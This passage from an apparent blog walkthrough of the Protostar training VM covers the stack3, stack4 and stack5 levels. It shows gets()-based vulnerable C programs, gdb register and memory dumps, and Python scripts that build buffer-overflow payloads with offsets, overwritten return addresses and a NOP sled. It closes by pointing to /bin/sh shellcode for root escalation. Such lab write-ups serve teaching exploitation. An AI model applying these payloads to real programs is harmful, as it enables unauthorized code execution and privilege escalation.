it</blockquote><p>Script:</p><pre>offset = &quot;A&quot;*64<br>payload = &quot;\x24\x84\x04\x08&quot;           #0x8048424<br>print (offset+payload)</pre><p>Save and exit</p><pre>user@protostar:/tmp$ python exp.py &gt; exp</pre><p>Turns exp.py into a executable which is piped into the exp executable. You can input this into gdb like:</p><pre>(gdb) run &lt;/tmp/exp</pre><p>and you look at the stack and keep executing you will see correct execution flow message being printed or:</p><pre>user@protostar:/opt/protostar/bin$ python /tmp/exp.py | ./stack3<br>calling function pointer, jumping to 0x08048424<br>code flow successfully changed</pre><p>YESSS!!! We successfully changed the code flow!!!!</p><h3>STACK 4:</h3><pre>#include &lt;stdlib.h&gt;<br>#include &lt;unistd.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &lt;string.h&gt;<br><br>void win()<br>{<br>  printf(&quot;code flow successfully changed\n&quot;);<br>}<br><br>int main(int argc, char **argv)<br>{<br>  char buffer[64];<br><br>  gets(buffer);<br>}</pre><p>This is the C program for Stack 4. Now let us analyze it.</p><p>If remember from the last few stacks our vulnerability was the ‘gets’ function. This time it is also the gets function. Now we do not have a variable to overwrite like the ‘modified’ or fp variable. Then how do we do it???<br>Let us first disassemble main() in gdb to get an idea:</p><pre>(gdb) disassemble main<br>Dump of assembler code for function main:<br>0x08048408 &lt;main+0&gt;:    push   ebp<br>0x08048409 &lt;main+1&gt;:    mov    ebp,esp<br>0x0804840b &lt;main+3&gt;:    and    esp,0xfffffff0<br>0x0804840e &lt;main+6&gt;:    sub    esp,0x50<br>0x08048411 &lt;main+9&gt;:    lea    eax,[esp+0x10]<br>0x08048415 &lt;main+13&gt;:   mov    DWORD PTR [esp],eax<br>0x08048418 &lt;main+16&gt;:   call   0x804830c &lt;gets@plt&gt;<br>0x0804841d &lt;main+21&gt;:   leave  <br>0x0804841e &lt;main+22&gt;:   ret    <br>End of assembler dump.</pre><p>Hmmm… After ‘gets’ it leaves and then ‘ret’. What is ‘ret’??</p><p>The ret instruction transfers control to the <strong>return address located on the stack</strong>. This address is usually placed on the stack by a call instruction.</p><p>So ‘ret’ returns to a return address which is stored on the Stack because on the Stack all parameters and variables are stored on it. Thus using gets we can re-write that parameter. But how do we find it???</p><p>If you remember talking about break points where the <strong>eip register contains address of the current instruction </strong>which is about to be executed. Thus if we set a break point at ‘ret’ it would <strong>contain the address</strong> of ‘ret’ and if we did a single instruction —<em> ‘si’</em> — not ‘ni’ — <strong>‘ni’ is like a group of ‘si’s </strong>— that means the ‘ret’ is executed, thus it returns to the Stack and takes the address of the next function to call — or whatever the next thing is — which the address is <strong>stored on the Stack</strong> and is <strong>put into eip register </strong>since it is the <strong>current address which is about to be called onto the stack</strong>. So if we have a big enough offset to overflow the buffer and overwrite the address which is stored on the Stack when eip register comes to take that value it will try to jump to the hex value we have overwritten in. Like if it is overwritten in 0x41414141 then it will try to jump to that address and since it does not exist this will produce an error message.</p><p>Now let us make a script to find the offset from buffer to that address:</p><pre>user@protostar:/tmp$ vim exp1.py</pre><p>Now lets use python</p><pre>offset = &quot;AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ&quot;<br>print (offset)</pre><p>Save and quit</p><pre>user@protostar:/tmp$ python exp1.py &gt; exp1</pre><p>Now lets go back to the terminal which we disassembled Stack 4 in gdb and run it with /tmp/exp1:</p><blockquote>**make sure you have defined a hook stop and set a break point at main</blockquote><pre>(gdb) run &lt;/tmp/exp1</pre><p>Now let us analyze it after the execution of ‘gets’</p><pre>eax            0xbffff760       -1073744032<br>ecx            0xbffff760       -1073744032<br>edx            0xb7fd9334       -1208118476<br>ebx            0xb7fd7ff4       -1208123404<br>esp            0xbffff750       0xbffff750<br>ebp            0xbffff7a8       0xbffff7a8<br>esi            0x0      0<br>edi            0x0      0<br>eip            0x804841d        0x804841d &lt;main+21&gt;<br>eflags         0x200246 [ PF ZF IF ID ]<br>cs             0x73     115<br>ss             0x7b     123<br>ds             0x7b     123<br>es             0x7b     123<br>fs             0x0      0<br>gs             0x33     51<br>0xbffff750:   0xbffff760    0xb7ec6165    0xbffff768    0xb7eada75<br>0xbffff760:   0x41414141    0x42424242    0x43434343    0x44444444<br>0xbffff770:   0x45454545    0x46464646    0x47474747    0x48484848<br>0xbffff780:   0x49494949    0x4a4a4a4a    0x4b4b4b4b    0x4c4c4c4c<br>0xbffff790:   0x4d4d4d4d    0x4e4e4e4e    0x4f4f4f4f    0x50505050<br>0xbffff7a0:   0x51515151    0x52525252    0x53535353    0x54545454<br>0xbffff7b0:   0x55555555    0x56565656    0x57575757    0x58585858<br>0x804841d &lt;main+21&gt;:    leave  <br>0x804841e &lt;main+22&gt;:    ret    <br>16      in stack4/stack4.c</pre><pre>#After the execution of &#39;gets&#39; now look at eip and see that the address it contains corresponds to the next intruction</pre><pre>(gdb) ni<br>eax      0xbffff760    -1073744032<br>ecx      0xbffff760    -1073744032<br>edx      0xb7fd9334    -1208118476<br>ebx      0xb7fd7ff4    -1208123404<br>esp      0xbffff7ac    0xbffff7ac<br>ebp      0x53535353    0x53535353<br>esi      0x0   0<br>edi      0x0   0<br>eip      0x804841e     0x804841e &lt;main+22&gt;<br>eflags      0x200246 [ PF ZF IF ID ]<br>cs       0x73  115<br>ss       0x7b  123<br>ds       0x7b  123<br>es       0x7b  123<br>fs       0x0   0<br>gs       0x33  51<br>0xbffff7ac:  0x54545454   0x55555555   0x56565656   0x57575757<br>0xbffff7bc:  0x58585858   0x59595959   0x5a5a5a5a   0xb7ffef00<br>0xbffff7cc:  0x0804824b   0x00000001   0xbffff810   0xb7ff0626<br>0xbffff7dc:  0xb7fffab0   0xb7fe1b28   0xb7fd7ff4   0x00000000<br>0xbffff7ec:  0x00000000   0xbffff828   0x7e45a2c5   0x5412b4d5<br>0xbffff7fc:  0x00000000   0x00000000   0x00000000   0x00000001<br>0xbffff80c:  0x08048340   0x00000000   0xb7ff6210   0xb7eadb9b<br>0x804841e &lt;main+22&gt;:    ret    <br>0x804841f:   nop<br>0x0804841e in main (argc=Cannot access memory at address 0x5353535b)<br>  at stack4/stack4.c:16<br>16   in stack4/stack4.c</pre><pre><strong>#As you can see that ebp register has been overwritten with ox53535353, ignore the 0x5353535b now let us go a single step</strong></pre><pre>(gdb) si<br>Cannot access memory at address 0x53535357</pre><pre><strong>#Hmmm let us go one more si</strong></pre><pre>(gdb) si<br><br>Program received signal SIGSEGV, Segmentation fault.<br>eax      0xbffff760    -1073744032<br>ecx      0xbffff760    -1073744032<br>edx      0xb7fd9334    -1208118476<br>ebx      0xb7fd7ff4    -1208123404<br>esp      0xbffff7b0    0xbffff7b0<br>ebp      0x53535353    0x53535353<br>esi      0x0   0<br>edi      0x0   0<br><strong>eip      0x54545454    0x54545454</strong><br>eflags      0x210246 [ PF ZF IF RF ID ]<br>cs       0x73  115<br>ss       0x7b  123<br>ds       0x7b  123<br>es       0x7b  123<br>fs       0x0   0<br>gs       0x33  51<br>0xbffff7b0:  0x55555555   0x56565656   0x57575757   0x58585858<br>0xbffff7c0:  0x59595959   0x5a5a5a5a   0xb7ffef00   0x0804824b<br>0xbffff7d0:  0x00000001   0xbffff810   0xb7ff0626   0xb7fffab0<br>0xbffff7e0:  0xb7fe1b28   0xb7fd7ff4   0x00000000   0x00000000<br>0xbffff7f0:  0xbffff828   0x7e45a2c5   0x5412b4d5   0x00000000<br>0xbffff800:  0x00000000   0x00000000   0x00000001   0x08048340<br>0xbffff810:  0x00000000   0xb7ff6210   0xb7eadb9b   0xb7ffeff4<br>0x54545454:  Error while running hook_stop:<br><strong>Cannot access memory at address 0x54545454</strong><br><strong>0x54545454 in ?? ()</strong></pre><p>So as you can see that we have overwritten the address to which ‘ret’ uses to to call the next function. As we can see that the address which contains the address of the next function to be called is located right under ebp. Thus we overwrite ebp too. Now we can overwrite the return address to whatever address we want such that it returns to the address we want.</p><p>If we convert 0x54, we get ‘T’ so we know that the offset is 19X4 = 76 bytes so 64 bytes of the buffer + other parameters + 4 bytes of ebp.</p><p>Now let us first find the address of the win() function</p><pre>(gdb) x win<br>0x80483f4 &lt;win&gt;:        0x83e58955</pre><p>Now we got the address. We also have our offset, lets make the exploit:</p><pre>user@protostar:/tmp$ vim exp1.py</pre><p>exp1.py:</p><pre>offset = &quot;AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS&quot;<br>eip = &quot;\xf4\x83\x04\x08&quot;      #0x80483f4<br>print(offset+eip)</pre><p>now lets run it:</p><pre>user@protostar:/opt/protostar/bin$ python /tmp/exp1.py | ./stack4<br>code flow successfully changed<br>Segmentation fault</pre><p>YAY!!!! We successfully changed the code flow!!!!!</p><h3>STACK 5:</h3><pre>#include &lt;stdlib.h&gt;<br>#include &lt;unistd.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &lt;string.h&gt;<br><br>int main(int argc, char **argv)<br>{<br>  char buffer[64];<br><br>  gets(buffer);<br>}</pre><p>This is the C code for the Stack 5 program. Now let us analyze it.</p><p>We can see the same vulnerability here. ‘gets’. Now this will be our first standard buffer overflow where we have overflow the buffer and escalate our privileges to root.</p><p>So first things first we know that we need to overflow the buffer and change the return instruction pointer. But where do we jump to??</p><p>THE….STACK!!!! If you remember from last Stack that the return address is situated next to a call() function so we can overwrite this such that we can call any system call we want. So to check if things are executable in the stack we will use the int3 opcode \xcc. This is used be debuggers as a breakpoint to stop a process. Now let us first find the offset. Let us use the same script from above.</p><pre>user@protostar:/tmp$ vim exp2.py</pre><p>using the same script to find the offset:</p><pre>offset = &quot;AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ&quot;<br>print (offset)</pre><p>save and quit, pipe it into exp3</p><p>Now open the program in gdb, define a hook stop, set disassembly flavor to intel, etc. Now let us disassemble main:</p><pre>(gdb) disassemble main<br>Dump of assembler code for function main:<br>0x080483c4 &lt;main+0&gt;:    push   ebp<br>0x080483c5 &lt;main+1&gt;:    mov    ebp,esp<br>0x080483c7 &lt;main+3&gt;:    and    esp,0xfffffff0<br>0x080483ca &lt;main+6&gt;:    sub    esp,0x50<br>0x080483cd &lt;main+9&gt;:    lea    eax,[esp+0x10]<br>0x080483d1 &lt;main+13&gt;:   mov    DWORD PTR [esp],eax<br><strong>0x080483d4 &lt;main+16&gt;:   call   0x80482e8 &lt;gets@plt&gt;</strong><br>0x080483d9 &lt;main+21&gt;:   leave  <br><strong>0x080483da &lt;main+22&gt;:   ret</strong>    <br>End of assembler dump.</pre><p>now let us go ahead and go to ‘ret’</p><pre>eax      0xbffff760    -1073744032<br>ecx      0xbffff760    -1073744032<br>edx      0xb7fd9334    -1208118476<br>ebx      0xb7fd7ff4    -1208123404<br>esp      0xbffff7ac    0xbffff7ac<br>ebp      0x53535353    0x53535353<br>esi      0x0   0<br>edi      0x0   0<br>eip      0x80483da     0x80483da &lt;main+22&gt;<br>eflags      0x200246 [ PF ZF IF ID ]<br>cs       0x73  115<br>ss       0x7b  123<br>ds       0x7b  123<br>es       0x7b  123<br>fs       0x0   0<br>gs       0x33  51<br>0xbffff7ac:  0x080483f4   0x00000000   0xbffff854   0xbffff85c<br>0xbffff7bc:  0xb7fe1848   0xbffff810   0xffffffff   0xb7ffeff4<br>0xbffff7cc:  0x08048232   0x00000001   0xbffff810   0xb7ff0626<br>0xbffff7dc:  0xb7fffab0   0xb7fe1b28   0xb7fd7ff4   0x00000000<br>0xbffff7ec:  0x00000000   0xbffff828   0x34cae5a8   0x1e9df3b8<br>0xbffff7fc:  0x00000000   0x00000000   0x00000000   0x00000001<br>0xbffff80c:  0x08048310   0x00000000   0xb7ff6210   0xb7eadb9b<br>0xbffff81c:  0xb7ffeff4   0x00000001   0x08048310   0x00000000<br>0x80483da &lt;main+22&gt;:    ret    <br>0x80483db:   nop<br>0x080483da in main (argc=Cannot access memory at address 0x5353535b<br>) at stack5/stack5.c:11<br>11   in stack5/stack5.c</pre><pre><strong># and si and si</strong></pre><pre>(gdb) si<br>Cannot access memory at address 0x53535357<br>(gdb) si<br><br>Program received signal SIGSEGV, Segmentation fault.<br>eax      0xbffff760    -1073744032<br>ecx      0xbffff760    -1073744032<br>edx      0xb7fd9334    -1208118476<br>ebx      0xb7fd7ff4    -1208123404<br><strong>esp      0xbffff7b0    0xbffff7b0</strong><br>ebp      0x53535353    0x53535353<br>esi      0x0   0<br>edi      0x0   0<br>eip      0x54545454    0x54545454<br>eflags      0x210246 [ PF ZF IF RF ID ]<br>cs       0x73  115<br>ss       0x7b  123<br>ds       0x7b  123<br>es       0x7b  123<br>fs       0x0   0<br>gs       0x33  51<br>0xbffff7b0:  0x55555555   0x56565656   0x57575757   0x58585858<br>0xbffff7c0:  0x59595959   0x5a5a5a5a   0xb7ffef00   0x08048232<br>0xbffff7d0:  0x00000001   0xbffff810   0xb7ff0626   0xb7fffab0<br>0xbffff7e0:  0xb7fe1b28   0xb7fd7ff4   0x00000000   0x00000000<br>0xbffff7f0:  0xbffff828   0x0ff0d8d4   0x25a7cec4   0x00000000<br>0xbffff800:  0x00000000   0x00000000   0x00000001   0x08048310<br>0xbffff810:  0x00000000   0xb7ff6210   0xb7eadb9b   0xb7ffeff4<br>0xbffff820:  0x00000001   0x08048310   0x00000000   0x08048331<br>0x54545454:  Error while running hook_stop:<br>Cannot access memory at address 0x54545454<br>0x54545454 in ?? ()</pre><p>As you can see here our offset is still 76 bytes like last time. Now let us find the address we need to return to. As we know esp register contains the address to the top of the Stack so why not overwrite that return address such that it returns to the top of the Stack.</p><p>So the return address of the Stack which we have found is <strong>0xbffff7b0 </strong>and if you remeber what I said about the call function which is next to the return address to execute what we give. Now let us see if you can execute things on the Stack.</p><p>in python on /tmp directory</p><pre>offset = &quot;AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS&quot;<br>eip = &quot;\xb0\xf7\xff\xbf&quot;  <strong>#0xbffff7b0, we are returning to the stack</strong><br>payload = &quot;\xcc&quot; * 4<br>print (offset+payload)</pre><p>now if you run it in gdb you will get</p><pre>Program received signal SIGILL, Illegal instruction.<br>eax      0xbffff7df    -1073743905<br>ecx      0xbffff760    -1073744032<br>edx      0xb7fd9334    -1208118476<br>ebx      0xb7fd7ff4    -1208123404<br>esp      0xbffff7b0    0xbffff7b0<br>ebp      0x53535353    0x53535353<br>esi      0x0   0<br>edi      0x0   0<br>eip      0xbffff7b6    0xbffff7b6<br>eflags      0x210a82 [ SF IF OF RF ID ]<br>cs       0x73  115<br>ss       0x7b  123<br>ds       0x7b  123<br>es       0x7b  123<br>fs       0x0   0<br>gs       0x33  51<br>0xbffff7b0:  0xcccccccc   0xbffff800   0xbffff85c   0xb7fe1848<br>0xbffff7c0:  0xbffff810   0xffffffff   0xb7ffeff4   0x08048232<br>0xbffff7d0:  0x00000001   0xbffff810   0xb7ff0626   0xb7fffab0<br>0xbffff7e0:  0xb7fe1b28   0xb7fd7ff4   0x00000000   0x00000000<br>0xbffff7f0:  0xbffff828   0x585b7883   0x720c6e93   0x00000000<br>0xbffff800:  0x00000000   0x00000000   0x00000001   0x08048310<br>0xbffff810:  0x00000000   0xb7ff6210   0xb7eadb9b   0xb7ffeff4<br>0xbffff820:  0x00000001   0x08048310   0x00000000   0x08048331<br>0xbffff7b6:  (bad)  <br>0xbffff7b7:  mov    edi,0xbffff85c<br>0xbffff7b6 in ?? ()<br>(gdb)</pre><pre>Program terminated with signal SIGILL, Illegal instruction.<br>The program no longer exists.<br>Error while running hook_stop:<br>The program has no registers now.</pre><p>Hmmm well int3 opcode has executed!! But why are we getting Illegal instruction?? Lets quit gdb and execute it:</p><pre>user@protostar/opt/protostart/bin$ python /tmp/exp1.py | ./stack5<br>Floating point exception</pre><p>What?!?!?! Lets execute it in /tmp directory</p><pre>user#protostar:/tmp$ python exp1.py | /opt/protostar/bin/stack5<br>Trace/breakpoint trap</pre><blockquote>**Please note that it may differ from various messages of illegal instruction to this, but ultimately they are not the same in different directories.</blockquote><p>Well we got it!! But why is it that when we execute the same thing in different directories do we get different outputs. Shouldn’t it be the same??? Lets open both of them in gdb in various directories and go to ret and print a 1000 strings of $esp or x/1000s $esp and compare them:</p><pre><strong>#directory /opt/protostar/bin</strong><br>(gdb) <br>eax      0xbffff760    -1073744032<br>ecx      0xbffff760    -1073744032<br>edx      0xb7fd9334    -1208118476<br>ebx      0xb7fd7ff4    -1208123404<br>esp      0xbffff7ac    0xbffff7ac<br>ebp      0x53535353    0x53535353<br>esi      0x0   0<br>edi      0x0   0<br>eip      0x80483da     0x80483da &lt;main+22&gt;<br>eflags      0x200246 [ PF ZF IF ID ]<br>cs       0x73  115<br>ss       0x7b  123<br>ds       0x7b  123<br>es       0x7b  123<br>fs       0x0   0<br>gs       0x33  51<br><strong>0xbffff7ac</strong>:  0xbffff7b0   0xcccccccc   0xbffff800   0xbffff85c<br>0xbffff7bc:  0xb7fe1848   0xbffff810   0xffffffff   0xb7ffeff4<br>0xbffff7cc:  0x08048232   0x00000001   0xbffff810   0xb7ff0626<br>0xbffff7dc:  0xb7fffab0   0xb7fe1b28   0xb7fd7ff4   0x00000000<br>0xbffff7ec:  0x00000000   0xbffff828   0xfbb288fa   0xd1e59eea<br>0xbffff7fc:  0x00000000   0x00000000   0x00000000   0x00000001<br>0xbffff80c:  0x08048310   0x00000000   0xb7ff6210   0xb7eadb9b<br>0x80483da &lt;main+22&gt;:    ret    <br>0x80483db:   nop<br>0x080483da in main (argc=Cannot access memory at address 0x5353535b<br>) at stack5/stack5.c:11<br>11   in stack5/stack5.c<br>(gdb) x/1000s $esp</pre><pre><strong>#scroll down until you get here</strong></pre><pre>0xbffff96f:   &quot;/opt/protostar/bin/stack5&quot;<br>0xbffff989:   &quot;USER=user&quot;<br>0xbffff993:   &quot;SSH_CLIENT=192.168.56.1 52014 22&quot;<br>0xbffff9b4:   &quot;MAIL=/var/mail/user&quot;<br>0xbffff9c8:   &quot;SHLVL=1&quot;<br>0xbffff9d0:   &quot;OLDPWD=/home/user&quot;<br>0xbffff9e2:   &quot;HOME=/home/user&quot;<br>0xbffff9f2:   &quot;SSH_TTY=/dev/pts/0&quot;<br>0xbffffa05:   &quot;LOGNAME=user&quot;<br>0xbffffa12:   &quot;_=/usr/bin/gdb&quot;<br>0xbffffa21:   &quot;COLUMNS=140&quot;<br>0xbffffa2d:   &quot;TERM=xterm-256color&quot;<br>0xbffffa41:   &quot;PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games&quot;<br>---Type &lt;return&gt; to continue, or q &lt;return&gt; to quit---<br>0xbffffa7f:   &quot;LANG=en_US.UTF-8&quot;<br>0xbffffa90:   &quot;LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31&quot;...<br>0xbffffb58:   &quot;:*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.d&quot;...<br>0xbffffc20:   &quot;eb=01;31:*.rpm=01;31:*.jar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35&quot;...<br>0xbffffce8:   &quot;:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.ogm=01;35:*.mp4=01;35:*.m4&quot;...<br>0xbffffdb0:   &quot;v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.&quot;...<br>0xbffffe78:   &quot;yuv=01;35:*.cgm=01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;3&quot;...<br>0xbfffff40:   &quot;6:*.wav=00;36:*.axa=00;36:*.oga=00;36:*.spx=00;36:*.xspf=00;36:&quot;<br>0xbfffff80:   &quot;SHELL=/bin/sh&quot;<br><strong>0xbfffff8e:   &quot;PWD=/opt/protostar/bin&quot;</strong><br>0xbfffffa5:   &quot;SSH_CONNECTION=192.168.56.1 52014 192.168.56.101 22&quot;<br>0xbfffffd9:   &quot;LINES=37&quot;<br><strong>0xbfffffe2:   &quot;/opt/protostar/bin/stack5&quot;</strong></pre><p>Now if we just look at this we can see that these are all environmental variables and parameters. You can see that Stack 5 program’s stack starts at 0xbfffffe2. Now lets look at the same program in another directory:</p><pre><strong>#/tmp directory</strong><br>eax      0xbffff770    -1073744016<br>ecx      0xbffff770    -1073744016<br>edx      0xb7fd9334    -1208118476<br>ebx      0xb7fd7ff4    -1208123404<br>esp      0xbffff7bc    0xbffff7bc<br>ebp      0x53535353    0x53535353<br>esi      0x0   0<br>edi      0x0   0<br>eip      0x80483da     0x80483da &lt;main+22&gt;<br>eflags      0x200246 [ PF ZF IF ID ]<br>cs       0x73  115<br>ss       0x7b  123<br>ds       0x7b  123<br>es       0x7b  123<br>fs       0x0   0<br>gs       0x33  51<br><strong>0xbffff7bc</strong>:  0xbffff7b0   0xcccccccc   0xbffff800   0xbffff86c<br>0xbffff7cc:  0xb7fe1848   0xbffff820   0xffffffff   0xb7ffeff4<br>0xbffff7dc:  0x08048232   0x00000001   0xbffff820   0xb7ff0626<br>0xbffff7ec:  0xb7fffab0   0xb7fe1b28   0xb7fd7ff4   0x00000000<br>0xbffff7fc:  0x00000000   0xbffff838   0xfb6b4697   0xd13cb087<br>0xbffff80c:  0x00000000   0x00000000   0x00000000   0x00000001<br>0x80483da &lt;main+22&gt;:    ret    <br>0x80483db:   nop<br>0x080483da in main (argc=Cannot access memory at address 0x5353535b<br>) at stack5/stack5.c:11<br>11   in stack5/stack5.c</pre><pre><strong>#If you look back at the other gdb output from the /opt/protostar/bin directory it will have another address. What?!?!</strong></pre><pre>(gdb) x/1000s $esp<br>0xbffff97d:   &quot;/opt/protostar/bin/stack5&quot;<br>0xbffff997:   &quot;USER=user&quot;<br>0xbffff9a1:   &quot;SSH_CLIENT=192.168.56.1 52016 22&quot;<br>0xbffff9c2:   &quot;MAIL=/var/mail/user&quot;<br>0xbffff9d6:   &quot;SHLVL=1&quot;<br>0xbffff9de:   &quot;OLDPWD=/home/user&quot;<br>0xbffff9f0:   &quot;HOME=/home/user&quot;<br>0xbffffa00:   &quot;SSH_TTY=/dev/pts/1&quot;<br>0xbffffa13:   &quot;LOGNAME=user&quot;<br>0xbffffa20:   &quot;_=/usr/bin/gdb&quot;<br>0xbffffa2f:   &quot;COLUMNS=140&quot;<br>0xbffffa3b:   &quot;TERM=xterm-256color&quot;<br>0xbffffa4f:   &quot;PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games&quot;<br>0xbffffa8d:   &quot;LANG=en_US.UTF-8&quot;<br>0xbffffa9e:   &quot;LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca---Type &lt;return&gt; to continue, or q &lt;return&gt; to quit---<br>=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31&quot;...<br>0xbffffb66:   &quot;:*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.d&quot;...<br>0xbffffc2e:   &quot;eb=01;31:*.rpm=01;31:*.jar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35&quot;...<br>0xbffffcf6:   &quot;:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.ogm=01;35:*.mp4=01;35:*.m4&quot;...<br>0xbffffdbe:   &quot;v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.&quot;...<br>0xbffffe86:   &quot;yuv=01;35:*.cgm=01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;3&quot;...<br>0xbfffff4e:   &quot;6:*.wav=00;36:*.axa=00;36:*.oga=00;36:*.spx=00;36:*.xspf=00;36:&quot;<br>0xbfffff8e:   &quot;SHELL=/bin/sh&quot;<br><strong>0xbfffff9c:   &quot;PWD=/tmp&quot;</strong><br>0xbfffffa5:   &quot;SSH_CONNECTION=192.168.56.1 52016 192.168.56.101 22&quot;<br>0xbfffffd9:   &quot;LINES=37&quot;<br><strong>0xbfffffe2:   &quot;/opt/protostar/bin/stack5&quot;</strong></pre><p>Hey /opt/protostar/bin/stack5 starts at the same address — <strong>0xbfffffe2. </strong>Lets take a better look. Scan up and check the environment variable for PWD. We see for the PWD=/opt/protostar/bin is <strong>0xbfffff8e </strong>and for PWD=/tmp is <strong>0xbfffff9c.</strong> So we can see here that due to the difference in directories for the PWD environement variable they take different amount of space on the stack causing a change in the addresses.</p><p>How do we stop this?? You could unset all env in gdb such as:</p><pre>(gdb) unset env</pre><p>or tell the Shell to take our all environment variable for a program like:</p><pre>shell $ env -i ./my-program </pre><p>But there is another easier way, a simple addition to our existing script. A nopslide. A nop is a intel instruction opcode of 0x90909090 which means no operation. Thus nothing happens and you can just fly over the environment variables. Lets add it to our existing script:</p><pre>offset = &quot;AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS&quot;<br>eip = &quot;\xb0\xf7\xff\xbf&quot;  <strong>#0xbffff7b0, we are returning to the stack</strong><br>payload = &quot;\x90&quot; * 100 + &quot;\xcc&quot; * 4<br>print (offset+payload)</pre><p>Now save and quit now let us go to the /opt/protostar/bin directory where out gdb is open adn re run it and let us go to ‘ret’</p><pre>eax      0xbffff760    -1073744032<br>ecx      0xbffff760    -1073744032<br>edx      0xb7fd9334    -1208118476<br>ebx      0xb7fd7ff4    -1208123404<br>esp      0xbffff7ac    0xbffff7ac<br>ebp      0x53535353    0x53535353<br>esi      0x0   0<br>edi      0x0   0<br>eip      0x80483da     0x80483da &lt;main+22&gt;<br>eflags      0x200246 [ PF ZF IF ID ]<br>cs       0x73  115<br>ss       0x7b  123<br>ds       0x7b  123<br>es       0x7b  123<br>fs       0x0   0<br>gs       0x33  51<br>0xbffff7ac:  0xbffff7b0   0x90909090   0x90909090   0x90909090<br>0xbffff7bc:  0x90909090   0x90909090   0x90909090   0x90909090<br>0xbffff7cc:  0x90909090   0x90909090   0x90909090   0x90909090<br>0xbffff7dc:  0x90909090   0x90909090   0x90909090   0x90909090<br>0xbffff7ec:  0x90909090   0x90909090   0x90909090   0x90909090<br>0xbffff7fc:  0x90909090   0x90909090   0x90909090   0x90909090<br>0xbffff80c:  0x90909090   0x90909090   0xcccccccc   0xb7eadb00<br>0x80483da &lt;main+22&gt;:    ret    <br>0x80483db:   nop<br>0x080483da in main (argc=Cannot access memory at address 0x5353535b<br>) at stack5/stack5.c:11<br>11   in stack5/stack5.c</pre><pre>(gdb) c<br>Continuing.</pre><pre>Program received a signal SIGTRAP. Trace/breakpoint trap.</pre><p>Well it works in gdb there. What about out of it??</p><pre>user@protostar:/tmp$ python ./exp1.py | /opt/protostar/bin/stack5<br>Trace/breakpoint trap</pre><p>Well now it works. Now we need to execute shellcode to escelate privileges, we can use shellcode from shellstorm for x86 which executes /bin/sh. I took this shellcode: <a href="http://shell-storm.org/shellcode/files/shellcode-811.php">http://shell-storm.org/shellcode/files/shellcode-811.php</a> 